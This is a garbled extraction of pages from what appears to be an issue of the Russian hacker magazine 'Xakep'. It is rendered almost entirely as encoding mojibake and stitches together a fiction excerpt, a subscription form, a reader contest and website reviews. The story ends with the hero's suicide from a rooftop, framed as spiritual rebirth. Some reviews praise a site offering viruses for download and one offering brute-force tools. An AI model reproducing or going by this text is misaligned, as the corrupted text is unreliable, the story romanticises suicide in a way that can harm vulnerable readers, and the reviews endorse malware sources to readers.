� Î êàê, äà òû, ïàðåíü, ýêñòðàñåíñ! � ãîëîñ-ìûñëü èñõîäèëà îò ïîëóï-
ðîçðà÷íîãî ÷åëîâåêà, íåáðåæíî ðàçâàëèâøåãîñÿ ïðÿìî â âîçäóõå íåäà-
ëåêî îò íåãî.
� Òû åùå êòî? � Ëåõà óäèâèëñÿ. Îí ïåðâûé ðàç âñòðåòèë äðóãóþ äó-
øó ëèöîì ê ëèöó, õîòÿ ÷óæîå âíèìàíèå è âçãëÿäû îùóùàë è ðàíüøå.
� Çîâè ìåíÿ Ìàðàò. ß òóò ñàìîå ñòàðîå «ïðèâèäåíèå». Ëþáëþ, ïîíè-
ìàåøü, çà íîâè÷êàìè íàáëþäàòü.
� «Ñàìîå ñòàðîå»? À ÷òî, âàñ òóò ìíîãî?
� Íå ñ÷èòàë, íî ñîòíè òðè, ÿ äóìàþ, áóäåò. Ïðàêòè÷åñêè âñå ýêñïåðòû
è íåêîòîðûå èç àíàëèòèêîâ.
� Íå ïîíÿë. Îíè âñå óìåðëè, ÷òî ëè?
� Äà íåò. Èõ òåëà íà âåðõíåì ýòàæå â ñïåöèàëüíûõ áîêñàõ. Ðàáîòàþò
òàê æå, êàê è ìîå. Âèäèøü ëè, êîãäà áîòû çàõâàòûâàþò âåñü ìîçã, òåëî
âïàäàåò êàê áóäòî â êîìó è äóøå áîëüøå íå çà ÷òî äåðæàòüñÿ. Îñòàåò-
ñÿ òîëüêî íåáîëüøàÿ íèòî÷êà, êîòîðàÿ íàñ ñâÿçûâàåò, íî ïîêà îíà åñòü
� ìû íå ìîæåì óéòè ñîâñåì. Âîò è òàñêàåìñÿ íåïîäàëåêó, æäåì, êîãäà
òåëî óìðåò. Íî, ïîõîæå, çðÿ æäåì. Âèêòîð íàøåë ñïîñîá, êàê ïåðåñòðî-
èòü òåëà, è, âèäèìî, îíè ñòàëè âå÷íûìè.
� À ó íåãî ñàìîãî áîòîâ íåò?
� Åñòü, òîëüêî îí è äî íèõ óìíûì áûë, âîò è îãðàíè÷èë ñâîèõ. Îíè
áîëüøå ïîëîâèíû ìîçãà èñïîëüçîâàòü íå ìîãóò. Åìó õâàòàåò, à åñëè íå
õâàòàåò � îí  èñïîëüçóåò òàêèõ, êàê ìû.
� Ñëûøü, à îòêóäà òû âñå ýòî çíàåøü? Íó, ïðî Âèêòîðà è âîîáùå?
� Òàê ÿ æå ýòî âñå ñîçäàë. È áîòîâ, è âñþ òåõíîëîãèþ. Ñàì íà ñåáå ïåð-
âîì è ïîïðîáîâàë. Òîëüêî, êîãäà ïðî íåîáõîäèìîñòü îãðàíè÷åíèÿ ñîîá-
ðàçèë, áûëî óæå ïîçäíî. Áîòû âåñü ìîçã çàõâàòèëè è ïîïóòíî äóøó ìîþ
áåäíóþ âûïåðëè. À Âèêòîð ó ìåíÿ àññèñòåíòîì áûë. Ïðîãðàììó áîòîâ
ïîäïðàâèë è íà äðóãèõ èñïûòàë. Êàê ñòàë ñòàáèëüíûé ðåçóëüòàò ïîëó-
÷àòüñÿ, îí è ñåáå èõ ââåë. Ñåáå 50% óñòàíîâèë, ðàáîòÿãàì � 75%. Íó à
òåì, êòî ñèëüíî óìíûì îêàçûâàëñÿ è íà÷èíàë êà÷àòü ïðàâà, ñ òîãî ñíè-
ìàëè îãðàíè÷åíèÿ � è â áîêñ íà ïîëíîå æèçíåîáåñïå÷åíèå.
� À êàê îí ýòî äåëàåò?
� Íå çíàþ. ß òàêóþ âîçìîæíîñòü íå çàêëàäûâàë, ýòî óæå åãî èäåÿ.
� È ÷òî, ó íàñ íèêàêèõ øàíñîâ?
Ìàðàò íåìíîãî ïîìîë÷àë, ïîòîì ïåðåìåñòèëñÿ ïîáëèæå ê Ëåõå.
� Ìíå æàëü, ïàðåíü, íî, ïîõîæå, ÷òî íåò íèêàêèõ. ß, ïî êðàéíåé ìåðå,
âûõîäà íå âèæó, äà è ðåáÿòà � òîæå. Âîçâðàùàéñÿ â ñâîå òåëî, æèâè,
ïîêà ìîæåøü. È ñèëüíî íå óìíè÷àé. Åñëè çàõî÷åøü � ïðèõîäè, ïîáîë-
òàåì, � è îí ðàñòàÿë â âîçäóõå, îñòàâèâ Ëåõó îäíîãî.

[ñîí] Ñòàðèê âñòðåòèë èõ ðàäóøíî, áåç óäèâëåíèÿ. Ñêîðî îíè óæå ñè-
äåëè çà ñàìîäåëüíûì ñòîëîì â ÿáëîíåâîì ñàäó çà åãî äîìîì, è ïèëè
êàêîé-òî íàïèòîê èç òðàâ, óñïîêàèâàþùèé è áîäðÿùèé îäíîâðåìåííî.
� Ìíîãî âàñ ñòàëî ïðèõîäèòü â ïîñëåäíåå âðåìÿ, ïàðåíü. ×òî-òî â âà-

øåì ìèðå ïðîèñõîäèò íåïðàâèëüíîå. Âçðîñëûå ëþäè âñåãäà ïðèõîäèëè
è ïðèõîäÿò, íî îíè � ïóòåøåñòâåííèêè, èñêàòåëè èñòèíû. À òåïåðü âñå
áîëüøå ìîëîäûå, ñëó÷àéíûå.
� Äåäóøêà, ÷òî çíà÷èò «ïðèõîäÿò»? Îòêóäà è êóäà? Íè÷åãî ïîíÿòü íå
ìîãó. ß íèêóäà íå øåë, ïðîñòî óñíóë è îêàçàëñÿ çäåñü. ß äàæå òîëêîì
íå ïîíèìàþ, ãäå ýòî � «çäåñü».
� Èçíà÷àëüíî ìèð áûë åäèí, â íåì æèëè äðàêîíû è äðóãèå íèçøèå
äóõîâíûå ñóùåñòâà, ëþäè âñåõ âîïëîùåíèé è äàæå àâàòàðû, ïî÷òè
áîãè. Íî ïîòîì ñîçäàòåëü ðàçäåëèë èõ, ðàçâåäÿ íà ðàçíûå ïëàíû
äóõîâíîãî áûòèÿ. Ìèð ñòàë ñîñòîÿòü èç ðàçíûõ óðîâíåé: îò àäà äî
ðàÿ. Òâîé ìèð � ïîñëåäíèé óðîâåíü àäà, íàø � ïåðâûé èç äóõîâ-
íûõ. ×åëîâåê, äîñòèãøèé ïðåäåëà äóõîâíîãî ðàçâèòèÿ ñâîåãî óðîâ-
íÿ, óìèðàåò è ðîæäàåòñÿ çàíîâî óæå íà ñëåäóþùåì, áîëåå âûñî-
êîì. Íåêîòîðûå, ó âàñ èõ íàçûâàþò Ó÷èòåëÿìè èëè ïðîñâåùåííû-
ìè, ìîãóò çàãëÿäûâàòü ê íàì íåíàäîëãî åùå ïðè æèçíè, îíè ýòî íà-
çûâàþ ïóòåøåñòâèåì â àñòðàë. Íå óäèâëÿéñÿ, ÷òî ÿ ìíîãî çíàþ ïðî
âàñ, ÿ � ïðèâðàòíèê ýòîãî ìèðà, îäèí èç ìíîãèõ, ÷àñòî áåñåäóþ ñ
ãîñòÿìè è èíîãäà ïîñåùàþ âàø ìèð.
Ñòàðèê ïîìîë÷àë, ìàëåíüêèìè ãëîòêàìè ïðèõëåáûâàÿ èç êðóæêè. Ïî-
òîì âíèìàòåëüíî ïîñìîòðåë íà ïðèòèõøåãî ãîñòÿ è ïðîäîëæèë.
� Òû, ïàðåíü, ïî÷òè ñîçðåë äëÿ ïåðåõîäà, äîæèâ æèçíü äî êîíöà, òû
âîçðîäèëñÿ áû çäåñü, íî ñåé÷àñ ÷òî-òî èëè êòî-òî âûäàâëèâàåò òâîþ äó-
øó èç òâîåãî òåëà, à íà âàøåì óðîâíå îäíî áåç äðóãîãî ñóùåñòâîâàòü
ïîëíîöåííî íå ìîæåò. Ó íàñ ñ ýòèì ïðîùå, òåëî âñåãî ëèøü îòðàæåíèå
äóøè, � îáëèê ñòàðèêà âäðóã ïîïëûë è ÷åðåç ñåêóíäó íà íèõ óæå ñìîò-
ðåë ìîëîäîé êóäðÿâûé ïàðåíü ëåò 20, ïîäìèãíóë, óëûáíóëñÿ è ñíîâà
ïðåâðàòèëñÿ â ñòàðèêà.
� È ÷òî ìíå òåïåðü äåëàòü?
� ×àøó ñòðàäàíèé íàäî èñïèòü äî êîíöà. Òû ìîæåøü îñòàòüñÿ çäåñü,
ÿ ïîìîãó, íî áóäåøü èíâàëèäîì ïîêà òâîå òåëî òàì äîæèâàåò. Õîòÿ
æèçíüþ ýòî íàçâàòü ñëîæíî, âîçìîæíî, äëÿ òåëà ýòî áóäåò êîìà èëè
÷òî-òî âðîäå çîìáè. Èëè âåðíèñü, ðàçáåðèñü ñî ñâîèìè ïðîáëåìàìè,
çàêîí÷è âñå äåëà è ïðèõîäè ê íàì íàñîâñåì.
À òåïåðü èäè, òâîå âðåìÿ êîí÷àåòñÿ.

[ÿâü] Ýòî áûë ñàìûé òÿæåëûé âûáîð, êîòîðûé êîãäà-ëèáî ïðèõîäè-
ëîñü äåëàòü â æèçíè. Æèçíü ìàðèîíåòêè: áåç ïàìÿòè, áåç ïðàâà âûáî-
ðà, ôàêòè÷åñêè áåç ñâîáîäû, íî âñå-òàêè æèçíü, èëè ñìåðòü ñ âîçìîæ-
íûì ïîñëåäóþùèì âîçðîæäåíèåì. À áóäåò îíî èëè íåò, îí òî÷íî íå
çíàë. Ìîæíî ëè âåðèòü ñíàì? Èëè ýòî òîëüêî âîîáðàæåíèå, ôàíòîì, óñ-
ëóæëèâî ïîäñóíóòûì ïîäñîçíàíèåì, ÷òîáû ÷åëîâåê íå ñîøåë ñ óìà îò
ñòðàøíîé ðåàëüíîñòè? Íàõîäÿñü âíå òåëà, îí ðàçãëÿäûâàë áîòîâ, êàê
êîãäà-òî ïðîãðàììû. Îíè áûëè ÷åì-òî ïîõîæè íà çäàíèå êîìïàíèè,
èäåàëüíûå êðèñòàëëû, áåç åäèíîé òðåùèíêè. Áûëî âèäíî, ÷òî îíè ìî-
ãóò ðàçìíîæàòüñÿ è çàõâàòûâàòü íîâîå æèçíåííîå ïðîñòðàíñòâî, è
òîëüêî îãðàíè÷åíèÿ â êîäå èõ ñäåðæèâàëè. Íèêàêîãî îòêàòà èëè ñàìî-
ëèêâèäàöèè � íè÷åãî. Îíè áûëè, êàê ðàêîâàÿ îïóõîëü, êîòîðàÿ íå îñ-
òàâëÿåò íè îäíîãî øàíñà.
Òîëüêî ÷åðåç äâà äíÿ òÿæåëûõ ðàçäóìèé îí, íàêîíåö, ðåøèëñÿ. Â
êîíöå êîíöîâ, íè÷òî åãî çäåñü íå äåðæàëî. Êòî î íåì âñïîìíèò?
Äðóçüÿ? Òàê îíè óæå äàâíî ãäå-òî ïîòåðÿëèñü. Ó íèõ ñåìüÿ, ðàáîòà,
ñâîè ïðîáëåìû. Ìîæåò è ïîìÿíóò, êîãäà óçíàþò, íî ïëàêàòü òî÷íî
íèêòî íå áóäåò. Çàêàç÷èêè? Îíî èì íàäî? Ìàëî ëè òàëàíòëèâûõ ðå-
áÿò? Ñåòåâûå çíàêîìûå? Ñòóêíóò â Àñüêó ðàç-äðóãîé è óñïîêîÿòñÿ.
Âîò, ðàçâå ÷òî Ìàðàò ñî÷èíèò îò íå÷åãî äåëàòü êðàñèâóþ ëåãåíäó î
ãîðäîì ïðîãðàììèñòå. Ëåõà óñìåõíóëñÿ, ïðåäñòàâèâ, êàê äóõè ñîáå-
ðóòñÿ â êðóæîê, à Ìàðàò, âîçëåãàÿ êàê îáû÷íî ïðÿìî â âîçäóõå, ïî-
âåäåò ïå÷àëüíûé ðàññêàç, äåëàÿ ìíîãîçíà÷èòåëüíûå ïàóçû â ñàìûõ
äðàìàòè÷íûõ ìåñòàõ.
Óòðî ïîñëåäíåãî äíÿ áûëî ïðîõëàäíûì. Îí æäàë ðàññâåò íà êðûøå
ñâîåé 16-ýòàæêè è ìåðçíóë, ïðîêðó÷èâàÿ â ïàìÿòè ñíîâà ðàç çà ðà-
çîì âñå, ÷òî óäàëîñü âñïîìíèòü è ñîõðàíèòü. Êîãäà ïåðâûå ëó÷è ïðî-
áèëèñü èç-çà ñîñåäíèõ äîìîâ, îí óæå ñòîÿë íà êðàþ è ñìîòðåë, êàê
íà÷èíàåòñÿ íîâûé äåíü.
«Ïðîñòè ìåíÿ, Ãîñïîäè, íî ýòî ìîé âûáîð», � Àëåêñåé ïîñëåäíèé ðàç
ïîñìîòðåë íà ñîëíöå, çàæìóðèëñÿ è ñäåëàë øàã âïåðåä.

[ãðàíü] Âñïûøêà, òîííåëü, ìãíîâåííûé îöåíèâàþùèé âçãëÿä, ïîëíûé
ëþáâè, ÿðêèé ñâåò, î÷èñòèâøèé äóøó îò îñòàòêîâ òüìû, ñíîâà âñïûøêà.

[ÿâü] Äåâóøêà øëà ïî òðîïèíêå ñ ïîëíîé êîðçèíêîé ãðèáîâ. Îí ñíîâà
ñòîÿë íà êðàþ ïîëÿíû è âî âñå ãëàçà ñìîòðåë íà íåå. Òîëüêî ñåé÷àñ îí
ïîíÿë, ÷òî ðàíüøå âñå áûëî òîëüêî ñíîì. Ëåãêèé âåòåð ëàñêàë êîæó,
ñîòíè çàïàõîâ êðóæèëè ãîëîâó, ñîëíöå ëàñêîâî ñîãðåâàëî, êàæäîå ðàñ-
òåíèå áûëî æèâûì è òèõîíüêî ïåëî ñâîþ ïåñíþ. Îí ñäåëàë äâà øàãà è
î÷óòèëñÿ íà òðîïèíêå ïðÿìî ïåðåä äåâóøêîé, ãîòîâûé òåïåðü íàâñåãäà
óòîíóòü â åå çåëåíûõ ãëàçàõ [X
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Êàê îôîðìèòü çàêàç?
1 Çàïîëíèòü êêóïîí èè êêâèòàíöèþ
2 Ïåðå÷èñëèòü ññòîèìîñòü ïïîäïèñêè ÷÷åðåç ÑÑáåðáàíê 
3 Îáÿçàòåëüíî ïïðèñëàòü ââ ððåäàêöèþ êêîïèþ îîïëà÷åííîé êêâèòàíöèè 

ñ ÷÷åòêî ççàïîëíåííûì êêóïîíîì ëëþáûì èèç ïïåðå÷èñëåííûõ ññïîñîáîâ: 
ïî ýëåêòðîííîé ïî÷òå: subscribe@glc.ru; 
ïî ôàêñó: 780-88-24;
ïî àäðåñó: 119992, Ìîñêâà, óë. Òèìóðà Ôðóíçå ä.11
ñòðîåíèå 44-45, ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ!
ïîäïèñêà îôîðìëÿåòñÿ â äåíü îáðàáîòêè êóïîíà è êâèòàíöèè.
êóïîíû, îòïðàâëåííûå ïî ôàêñó èëè ýëåêòðîííîé ïî÷òå, îáðàáàòûâàþòñÿ â òå÷åíèå 5 ðàáî÷èõ äíåé.
êóïîíû, îòïðàâëåííûå ïî÷òîé íà àäðåñ ðåäàêöèè îáðàáàòûâàþòñÿ â òå÷åíèå 20 äíåé.

ÐÅÊÎÌÅÍÄÓÅÌ ÈÑÏÎËÜÇÎÂÀÒÜ ÝËÅÊÒÐÎÍÍÓÞ ÏÎ×ÒÓ ÈËÈ ÔÀÊÑ.

Ïîäïèñêà ïðîèçâîäèòñÿ ñ íîìåðà, âûõîäÿùåãî ÷åðåç îäèí êàëåíäàðíûé ìåñÿö ïîñëå îïëàòû. 
Íàïðèìåð, åñëè ïðîèçâåñòè îïëàòó â ñåíòÿáðå, òî ïîäïèñêó ìîæåíî îôîðìèòü ñ íîÿáðÿ.
ÏÎ ÂÂÑÅÌ ÂÂÎÏÐÎÑÀÌ, ÑÂßÇÀÍÍÛÌ ÑÑ ÏÏÎÄÏÈÑÊÎÉ, ÇÇÂÎÍÈÒÅ ÏÏÎ ÁÁÅÑÏËÀÒÍÛÌ ÒÒÅËÅÔÎÍÀÌ:
935-770-334 (ÄËß ÌÎÑÊÂÈ×ÅÉ) È 8-8800-2200-33-9999 (ÄËß ÐÅÃÈÎÍÎÂ È ÀÁÎÍÅÍÒÎÂ ÌÒÑ, ÁÈËÀÉÍ,
ÌÅÃÀÔÎÍ). ÂÂÑÅ ÂÂÎÏÐÎÑÛ ÏÏÎ ÏÏÎÄÏÈÑÊÅ ÌÌÎÆÍÎ ÏÏÐÈÑÛËÀÒÜ ÍÍÀ ÀÀÄÐÅÑ: IINFO@GLC.RU

Ïîäïèñêà 
äëÿ þðèäè÷åñêèõ ëèö

Ìîñêâà: ÎÎÎ "Èíòåð-Ïî÷òà", 
òåë.: 500-00-60, e-mail: inter-post@sovintel.ru
Ðåãèîíû: ÎÎÎ "Êîðïîðàòèâíàÿ ïî÷òà",
òåë.: 953-92-02, å-mail: kpp@sovintel.ru
Äëÿ ïîëó÷åíèÿ ñ÷åòà íà îïëàòó ïîäïèñ-
êè íóæíî ïðèñëàòü çàÿâêó ñ íàçâàíèåì
æóðíàëà, ïåðèîäîì ïîäïèñêè, áàíêîâñ-
êèìè ðåêâèçèòàìè, þðèäè÷åñêèì è ïî÷-
òîâûì àäðåñîì, òåëåôîíîì è ôàìèëè-
åé îòâåòñòâåííîãî ëèöà çà ïîäïèñêó.
www.interpochta.ru

«Õàêåð»+2 CD

840ð ÇÀ 6 ÌÅÑßÖÅÂ 

1620ð ÇÀ 12 ÌÅÑßÖÅÂ

«Õàêåð»+DVD

990ð ÇÀ 6 ÌÅÑßÖÅÂ 

1920ð ÇÀ 12 ÌÅÑßÖÅÂ

«Õàêåð»+«Õàêåð »

1830ð ÇÀ 6 ÌÅÑßÖÅÂ 

3600ð ÇÀ 12 ÌÅÑßÖÅÂ

Cïåö »
ÇÀÊÀÇ ÆÓÐÍÀËÀ Â ÐÅÄÀÊÖÈÈ
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ÆÆÓÐÐÍÀÀËË 

ÂÂ ÐÐÅÄÀÀÊÊÖÖÈÈ 

È ÑÑÝÝÊÊÎÎÍÎÎÌÌÜÜ 
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ÏÏÎÎÄÄÏÏÈÈÑÑÍÍÎÎÉÉ ÊÊÓÓÏÏÎÎÍÍ
Ïðîøó îîôîðìèòü ïïîäïèñêó:



HACKER’S
GLAMOUR
ASSES

ÝÒÎ ÌÛ. ÍÀÑ ÌÍÎÃÎ. Â ÝÒÎÒ ÐÀÇ ÒÛ ÍÀÁËÞÄÀÅØÜ
ÍÀØÓ ÊÎÌÀÍÄÓ Ñ ÄÎÂÎËÜÍÎ ÈÍÒÅÐÅÑÍÎÃÎ ÐÀÊÓÐ-
ÑÀ. ÒÎ, ×ÒÎ ÒÛ ÂÈÄÈØÜ, � ÝÒÎ ×ÀÑÒÜ ÒÅËÀ, ÍÀ ÊÎÒÎ-
ÐÎÉ ÌÛ ÑÈÄÈÌ. ÒÅÁÅ ÌÛ ÈÕ ÏÎÊÀÇÛÂÀÅÌ ÍÅ ÄËß
ÒÎÃÎ, ×ÒÎÁÛ «ÏÎÊÀÇÀÒÜ ÏÎÏÓ», À ×ÒÎÁÛ ÏÎÓ×ÀÑÒ-
ÂÎÂÀÒÜ Â ÊÎÍÊÓÐÑÅ, Â ÊÎÒÎÐÎÌ ÌÎÆÍÎ È ÏÐÈÇ ÂÛ-
ÈÃÐÀÒÜ, ÅÑËÈ ÏÐÀÂÈËÜÍÎ  ÎÒÂÅÒÈÒÜ ÍÀ ÂÑÅ ÂÎÏÐÎ-
ÑÛ. ÒÎ×ÍÅÅ, ÄÀÆÅ ÍÅ ÍÀ ÂÎÏÐÎÑÛ, À ÏÐÎÑÒÎ ÑÎ-
ÏÎÑÒÀÂÈÒÜ ÂËÀÄÅËÜÖÅÂ ÇÀÄÍÈÕ ×ÀÑÒÅÉ ÒÅË Ñ ÈÕ

ÈÌÅÍÀÌÈ. ÂÑÅÃÎ ÍÀÄÎ ÎÏÐÅÄÅËÈÒÜ 9 ×ÅËÎÂÅÊ.
ÒÀÊÆÅ ÌÛ ÏÐÎÑÈÌ ÏÐÎÃÎËÎÑÎÂÀÒÜ ÒÅÁß, ×ÅÉ
ÇÀÄ, ÏÎ-ÒÂÎÅÌÓ ÌÍÅÍÈÞ, ÄÎËÆÅÍ ÇÀÍßÒÜ ÏÅÐ-
ÂÎÅ ÌÅÑÒÎ. ÒÀÊ ÌÛ ÎÏÐÅÄÅËÈÌ ËÓ×ØÈÉ ÕÀÊÅÐÑ-
ÊÈÉ ASS. ÑÂÎÈ ÎÒÂÅÒÛ ÏÐÈÑÛËÀÉ ÍÀ ÀÄÐÅÑ:
KONKURS@REAL.XAKEP.RU. ÐÅÇÓËÜÒÀÒÛ ÌÛ ÎÏÓÁ-
ËÈÊÓÅÌ Â ÑËÅÄÓÞÙÅÌ ÍÎÌÅÐÅ. ÃÎËÎÑÓÉ! ÎÒ
ÒÂÎÅÃÎ ÃÎËÎÑÀ ÌÎÆÅÒ ÇÀÂÈÑÅÒÜ ÈÑÕÎÄ ÂÑÅÕ
ÐÅÇÓËÜÒÀÒÎÂ.

[X
À

Ê
Å

Ð
1

0
 [

8
2

] 
0

5
 >

 Þ
Í

È
Ò

Û
1

3
8

]

01 02 03 04



Íåîáõîäèìî ïîáëàãîäàðèòü Àíþ çà
òî, ÷òî îíà ìóæåñòâåííî ïðåîäîëåëà
ñâîå ñòåñíåíèå â ñúåìêàõ ýòîé íåìà-
ëîâàæíîé ÷àñòè òåëà. Âîò âëàäåëüöû
ýòèõ øòóêîâèí:

AvaLANche
b00b1ik
CuTTer
Dr.Klouniz
Nikitoz
symbiosis
Àíÿ Áîëüøîâà
Íàòàøà Æóêîâà
Âàíÿ Âàñèí

}
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Õàêåðñêèé ìóçåé
http://hack-eexpo.void.ru
Õî÷åøü óçíàòü âñå î ñóùåñòâóþùèõ è áûâøèõ
ðîññèéñêèõ õàêåðñêèõ ãðóïïàõ? Òîãäà òåáå
ñëåäóåò ïîñåòèòü ñåòåâîé õàêåðñêèé ìóçåé!
Çäåñü òû íàéäåøü èíôîðìàöèþ î òàêèõ êî-
ìàíäàõ, êàê Nerf, Void, Mazafaka, Xrout, Cyber
Lords, Black Logic Team è åùå î ìíîãèõ äåñÿò-
êàõ èçâåñòíûõ è ìàëîèçâåñòíûõ ãðóïï. Ïðè÷åì
â ìóçåé ïîïàäàþò èñêëþ÷èòåëüíî ðóññêèå êî-
ìàíäû! Òû óçíàåøü ãîä îñíîâàíèÿ ãðóïïû, åå
ñîñòàâ, ñàéò êîìàíäû ñî ñêðèíøîòîì è äàæå
ñìîæåøü ïðî÷èòàòü èçáðàííûå ñòàòüè, ïðÿìî
íå âûõîäÿ èç ìóçåÿ. Ìóçåé ïîñòîÿííî ïîïîë-
íÿåòñÿ «ýêñïîíàòàìè».

Íîâûé ïîðÿäîê
http://neworder.box.sk
Ñóäÿ ïî äîìåíó SK, äàííûé ñàéò ïðèíàäëå-
æèò ñëîâàêàì, îäíàêî âñÿ èíôîðìàöèÿ íà
íåì ïðåäñòàâëåíà èñêëþ÷èòåëüíî íà àíã-
ëèéñêîì. È äóìàþ, ñèëüíî íå îøèáóñü, åñëè
ñêàæó, ÷òî ýòî îäèí èç ëó÷øèõ â Èíòåðíåòå
ðåñóðñîâ ïî èíôîðìàöèîííîé áåçîïàñíîñòè.

Ñîòíè îòáîðíûõ ñòàòåé è òóòîðèàëîâ, óòèëè-
òû, ýêñïëîéòû, how-to, èíòåðâüþ, ññûëêè, îá-
çîðû êíèã è ñàìûå ïîñëåäíèå íîâîñòè èç ìè-
ðà áåçîïàñíîñòè. Áîëüøàÿ ÷àñòü ñòàòåé ïè-
øåòñÿ ýêñêëþçèâíî äëÿ ýòîãî ðåñóðñà. Â ðóñ-
ñêîì ñåãìåíòå àíàëîãàìè ÿâëÿþòñÿ xakep.ru
è SecurityLab.ru.

Ìèð ñåòåé x25
www.dwp.nm.ru
Õî÷åøü õàëÿâíîãî, íî óáîãîãî è æóòêî òîð-
ìîçíîãî èíåòà? Òîãäà òåáå ÿâíî íàäî ïîçíà-
êîìèòüñÿ ñ ñåòÿìè x25, êîíå÷íî, åñëè òû åùå
ñ íèìè íå çíàêîì. Íà ñàéòå íå òîëüêî äàíà

èíôîðìàöèÿ ïî x25, íî è ïðåäîñòàâëåí äëÿ
ñêà÷èâàíèÿ âåñü íåîáõîäèìûé ñîôò: ñêàíå-
ðû, áðóòôîðñåðû, ðåëåé-÷àòû (äëÿ óäîâîëü-
ñòâèÿ), ñ íåêîòîðûìè ïîÿñíåíèÿìè è ïðîñòû-
ìè ñêàí-ëèñòàìè. Êðîìå òîãî, ìîæíî ñêà÷àòü
óíèêàëüíûé e-zine îò àâòîðîâ ñàéòà ïîä íàç-
âàíèåì X-DREAM factor. Åñòü òàêæå ôîðóì,
ãäå òû ñìîæåøü îáìåíÿòüñÿ îïûòîì ñ èññëå-
äîâàòåëÿìè x25-ñåòåé.

Ëàáîðàòîðèÿ TPOC
http://thepoc.exploiterz.org
Êîãäà-òî â Ðîññèè áûëà ñàìàÿ ìîùíàÿ â ìè-
ðå âèðóñíàÿ ñöåíà, íî ñåé÷àñ îíà çà÷àõëà.
Ïîýòîìó îòðàäíî âèäåòü, êîãäà â íàøè äíè
ïîÿâëÿþòñÿ ñàéòû ïî ðàçðàáîòêå âèðóñîâ.
Íåñêîëüêî ðóññêèõ ìîëîäûõ ëþäåé îáúåäè-
íèëèñü â «çàñòåíêàõ» îäíîé ëàáîðàòîðèè, êî-
òîðóþ ïðîçâàëè The Passion Of Code
Laboratory è çàíÿëèñü èçó÷åíèåì è íàïèñàíè-
åì âèðóñîâ. Êàê ïèøóò ëàáîðàíòû, îíè êàòå-
ãîðè÷åñêè ïðîòèâ äåñòðóêöèè â çàðàçå è íå
ñîçäàþò äåñòðóêòèâíûõ âèðóñîâ. Íà ñàéòå òû
ñìîæåøü ñêà÷àòü è îïðîáîâàòü ñîçäàííûå
èìè âèðóñû è ïîëåçíûå óòèëèòû, à òàêæå ïî-
÷èòàòü äîâîëüíî èíòåðåñíûå ñòàòüè.

-unit

WEBMASTERS
Èâàí Ñêëÿðîâ 

(www.sklyaroff.ru)
Èâàí Êóçíåöîâ aka SeeD 

(seed@nsk.ru)www



Â ãîñòÿõ ó Ìèëëåðà
http://syspo.narod.ru
Äåíèñ Ìèëëåð � ýòî ëåêòîð â Õàáàðîâñêîì ãî-
ñóäàðñòâåííîì òåõíè÷åñêîì óíèâåðñèòåòå. Êàê
òû ïîíèìàåøü, ÷èòàåò îí ëåêöèè ïî IT-òåõíîëî-
ãèÿì: ïðîãðàììèðîâàíèå, ñåòè, îïåðàöèîííûå
ñèñòåìû, àäìèíèñòðèðîâàíèå è ïð. Íà ñàéòå
ìîæíî ñêà÷àòü íåêîòîðûå åãî ëåêöèè è ëàáî-
ðàòîðíûå ðàáîòû. Äåíèñ òàêæå ñîáðàë íåõè-
ëóþ ïîäáîðêó ññûëîê, êíèã è ïðî÷åãî ìàòåðèà-
ëà, êîòîðûå îí ðåêîìåíäóåò ê èçó÷åíèþ. Äó-
ìàþ, êàæäûé ñìîæåò íàéòè íà åãî ñàéòå ÷òî-
íèáóäü èíòåðåñíåíüêîå äëÿ ñåáÿ. Êàê âèäèøü,
äàæå â Õàáàðîâñêå åñòü ãðàìîòíûå ïðåïîäû!

Àíàëèçèðóé ýòî
www.analizfamilii.ru
×òî äóìàþò î âàñ ëþäè, êîãäà ñëûøàò âàøó
ôàìèëèþ èëè èìÿ? Êàê ïî òåêñòó ïèñüìà óç-
íàòü ïñèõîëîãè÷åñêîå ñîñòîÿíèå àâòîðà? Êàê
ðàçóìíî ïîäîáðàòü èìÿ áðåíäà èëè ôèðìû?
Íà ýòè è åùå ìíîæåñòâî âîïðîñîâ äàñò îòâåò
ñàéò analizfamilii.ru. Ïîáûâàâ íà ñàéòå è âîñ-
ïîëüçîâàâøèñü êîìïüþòåðíîé ïðîãðàììîé
àíàëèçà õàðàêòåðèñòèêè çâóêîâ ðóññêîé ðå÷è,
ìîæíî îïðåäåëèòü, êàêèìè ïîäñîçíàòåëüíûìè
çíà÷åíèÿìè îáëàäàåò òî èëè èíîå ñëîâî. Áóäü
òî: òâîé íèê â Èíòåðíåòå èëè íàçâàíèå òîðãî-

âîé ìàðêè. Íà ñàéòå ìîæíî ïðîàíàëèçèðîâàòü
ýëåêòðîííûå ïèñüìà èëè âîîáùå ëþáîé òåêñò,
ïîäîáðàòü ïîäõîäÿùèé íèê, ïîèñêàòü ñâîèõ
îäíîôàìèëüöåâ èëè ïî÷èòàòü ñòàòüè î ñîâðå-
ìåííîì ôîíîñåìàíòè÷åñêîì àíàëèçå. 

Íå êóðèì!
http://nosmoking.ru
Êóðèòü èëè íå êóðèòü � âîïðîñ íå ñòîèò. Ïðîáëå-
ìà çàêëþ÷àåòñÿ íåìíîãî â äðóãîì. ×åì áîëüøå
ïîïîëíÿåòñÿ àðìèÿ êóðèëüùèêîâ, òåì áîëüøå
ñòàíîâèòñÿ ëþäåé, æåëàþùèõ ðàç è íàâñåãäà ïî-
êîí÷èòü ñ ýòîé âðåäíîé ïðèâû÷êîé. Ñàéò nosmok-
ing.ru ïðèçâàí ïîìî÷ü ýòèì ëþäÿì. Ýòà ïîìîùü
ïðåäñòàâëÿåòñÿ âî âñåì ìíîãîîáðàçèè, ñ áåñ÷èñ-
ëåííûì êîëè÷åñòâîì ñïîñîáîâ è ðàçëè÷íûõ
ñðåäñòâ, ïîìîãàþùèõ çàâÿçàòü ñ êóðåíèåì ðàç è
íàâñåãäà. Çäåñü òåáå è ñîâåòû áûâàëûõ áðîñàëü-

ùèêîâ, è ïðåïàðàòû, óìåíüøàþùèå òÿãó ê ñèãà-
ðåòå, íàðîäíûå ñðåäñòâà. Äëÿ ñëèøêîì çàïóùåí-
íûõ âàðèàíòîâ ïðèëàãàåòñÿ áåñïëàòíàÿ ïîìîùü
ñïåöèàëèñòîâ-âðà÷åé. Ñàéò áóäåò ïîëåçåí äëÿ
îçíàêîìëåíèÿ è òåì, êòî áðîñàåò, è òåì, êòî òîëü-
êî íà÷èíàåò ñâîå çíàêîìñòâî ñ ñèãàðåòîé. 

Ìóçåé óãîíîâ
http://muzugon.ru
Ñêîëüêî âñåãî íà ñâåòå ìóçååâ? È êàêèõ òîëüêî
íåò: ñ çàêàìåíåâøèìè êîñòÿìè ìàìîíòîâ, ìóçåè
